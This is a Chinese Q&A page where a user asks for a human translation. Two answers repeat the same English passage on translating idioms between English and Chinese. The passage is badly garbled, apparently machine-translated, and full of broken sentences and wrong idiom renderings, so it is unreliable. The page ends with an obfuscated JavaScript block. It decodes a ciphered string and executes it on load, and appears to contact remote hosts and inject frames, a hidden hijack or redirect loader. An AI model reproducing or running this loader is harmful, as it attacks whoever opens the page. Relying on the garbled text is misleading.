请高手翻译下,急用!谢谢~请不要用机器!

2025-02-27 03:13:19
推荐回答(2个)
回答1:

1, literal translation. As feelings of the people in the right objective things feelings and experiences of the community will have similarities English Idioms are the same as or similar to a small number of idioms, these idioms literal meaning of the same image or similar meaning. Implied same meaning, in other words, idioms such literal meaning and significance of the image conveyed by the cultural information is the same. Translation can. If Easy come, easy go with the Chinese saying "come, easy go faster," strike while the iron is hot and "strike while the iron is hot" Practice makes perfect with the "Practice makes perfect," Example is better than precept and "Facts speak louder than for him to say anything." Similar to spend money like it like water and the "big spenders"; Chinese idiom "burn their boats" and English burn one 's boats has stemmed from the builder's strategy.
2. Idioms literal meaning and significance of the image resembles a slightly different meaning implied the same, meaning the image translation. Idioms such literal, preservation of the original face value, meaning and image implied meaning, while retaining the original style, asked readers are very easy to understand, accept, is a best way. When the original idioms, the implied meaning is obvious or easily deduced that the reader can comprehend its literal meaning, literal meaning is literal. All roads lead to Rome translated as "many roads leading to Rome." Is a successful example. Another example is the following cases : timely help to offer fuel in snowy weather in front of a person, Living in heaven even the dog swaggers when its master win fa vor "suspicious" from "melon ground is not satisfied footwear, and not to the entire Li crown" Neither translation adjust your shoe in a'melon'); patch, nor your hat under a plum tree. Similar idiom said, as long as readers understand what intentions, we can understand that the hidden meaning not only retains the original image, but it also increases the reading interesting. 2, William. Some idioms and cultural factors as the impact of the translation can not retain the original language of the literal meaning and significance of the image. will be the replacement of the original image into another reader familiar with the image, thus conveyed from the original purpose of using the phrase, translated implied meaning. How natural Professor "Pragmatics and learning English," For an example of When in Rome, do as the Romans do. If literal meaning, literally translated, readers will understand why Rome is not somewhere else? In fact, it is the implied meaning of "do as the Romans do", if translated as "to what Hill, what songs to sing," is even more vivid on the above two, into which one will depend on the original style contextual determined. We know that the "Dragon" in both English and Chinese culture completely different meaning. So Chinese "succeed" in the English translation of the image could not be retained, expect to gain by translation of one 's son to become an outstandin g personage. Another example of English Idioms a cat on hot bricks is an image of the bricks in the heat running on the cat pain and embarrassment to the scene and Chinese "ants on a hot pan" coincides expressed "anxiety and embarrassment," The translation of the image change, but also conducive to the reader's understanding. Some idioms in the translation of the original text would not be able to retain its literal meaning and significance of the image, and it can only be translated, the implied meaning If the "days of turbulence," if its literal meaning and significance of the image unreservedly into English, English readers will unreadable, because in Chinese "Fengyun" cultural meaning Westerners generally difficult to understand, If the implied meaning it translated, it will clear at a glance : Something unexpected may happen any time. This situation stems from stories of the more common idioms. If Achilles' heel if literally translated as "Akeleishi the heels" does not allow most people to understand, translated it and the implied meaning of "the only fatal weaknesses" more appropriate. Another example : the dog that will fetch a bone will carry a bone in translation into Chinese, which literally image of the dog, bone is not literal, only abandon its literal meaning and significance of the image, known as implied meaning : "You said that people who cuss, You also said the bad living. " Similar examples also fight like cat and dog if the literal meaning directly translated into Chinese, While retaining the original image, but they do not accord with the Chinese habit of expression. We still love each other very much, but we fight like cat and dog can be translated as : "We often partridges, But still in love. "

回答2:

As feelings of the people in the right objective things feelings and experiences of the community will have similarities English Idioms are the same as or similar to a small number of idioms, these idioms literal meaning of the same image or similar meaning. Implied same meaning, in other words, idioms such literal meaning and significance of the image conveyed by the cultural information is the same. Translation can. If Easy come, easy go with the Chinese saying "come, easy go faster," strike while the iron is hot and "strike while the iron is hot" Practice makes perfect with the "Practice makes perfect," Example is better than precept and "Facts speak louder than for him to say anything." Similar to spend money like it like water and the "big spenders"; Chinese idiom "burn their boats" and English burn one 's boats has stemmed from the builder's strategy. 2 Idioms literal meaning and significance of the image resembles a slightly different meaning implied the same, meaning the image translation. Idioms such literal, preservation of the original face value, meaning and image implied meaning, while retaining the original style, asked readers are very easy to understand, accept, is a best way. When the original idioms, the implied meaning is obvious or easily deduced that the reader can comprehend its literal meaning, literal meaning is literal. All roads lead to Rome translated as "many roads leading to Rome." Is a successful example. Another example is the following cases : timely help to offer fuel in snowy weather in front of a person, Living in heaven even the dog swaggers when its master win fa vor "suspicious" from "melon ground is not satisfied footwear, and not to the entire Li crown" Neither translation adjust your shoe in a'melon'); patch, nor your hat under a plum tree. Similar idiom said, as long as readers understand what intentions, we can understand that the hidden meaning not only retains the original image, but it also increases the reading interesting. 2, William. Some idioms and cultural factors as the impact of the translation can not retain the original language of the literal meaning and significance of the image. will be the replacement of the original image into another reader familiar with the image, thus conveyed from the original purpose of using the phrase, translated implied meaning. How natural Professor "Pragmatics and learning English," For an example of When in Rome, do as the Romans do. If literal meaning, literally translated, readers will understand why Rome is not somewhere else? In fact, it is the implied meaning of "do as the Romans do", if translated as "to what Hill, what songs to sing," is even more vivid on the above two, into which one will depend on the original style contextual determined. We know that the "Dragon" in both English and Chinese culture completely different meaning. So Chinese "succeed" in the English translation of the image could not be retained, expect to gain by translation of one 's son to become an outstandin g personage. Another example of English Idioms a cat on hot bricks is an image of the bricks in the heat running on the cat pain and embarrassment to the scene and Chinese "ants on a hot pan" coincides expressed "anxiety and embarrassment," The translation of the image change, but also conducive to the reader's understanding. Some idioms in the translation of the original text would not be able to retain its literal meaning and significance of the image, and it can only be translated, the implied meaning If the "days of turbulence," if its literal meaning and significance of the image unreservedly into English, English readers will unreadable, because in Chinese "Fengyun" cultural meaning Westerners generally difficult to understand, If the implied meaning it translated, it will clear at a glance : Something unexpected may happen any time. This situation stems from stories of the more common idioms. If Achilles' heel if literally translated as "Akeleishi the heels" does not allow most people to understand, translated it and the implied meaning of "the only fatal weaknesses" more appropriate. Another example : the dog that will fetch a bone will carry a bone in translation into Chinese, which literally image of the dog, bone is not literal, only abandon its literal meaning and significance of the image, known as implied meaning : "You said that people who cuss, You also said the bad living. " Similar examples also fight like cat and dog if the literal meaning directly translated into Chinese, While retaining the original image, but they do not accord with the Chinese habit of expression. We still love each other very much, but we fight like cat and dog can be translated as : "We often partridges, But still in love. "

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();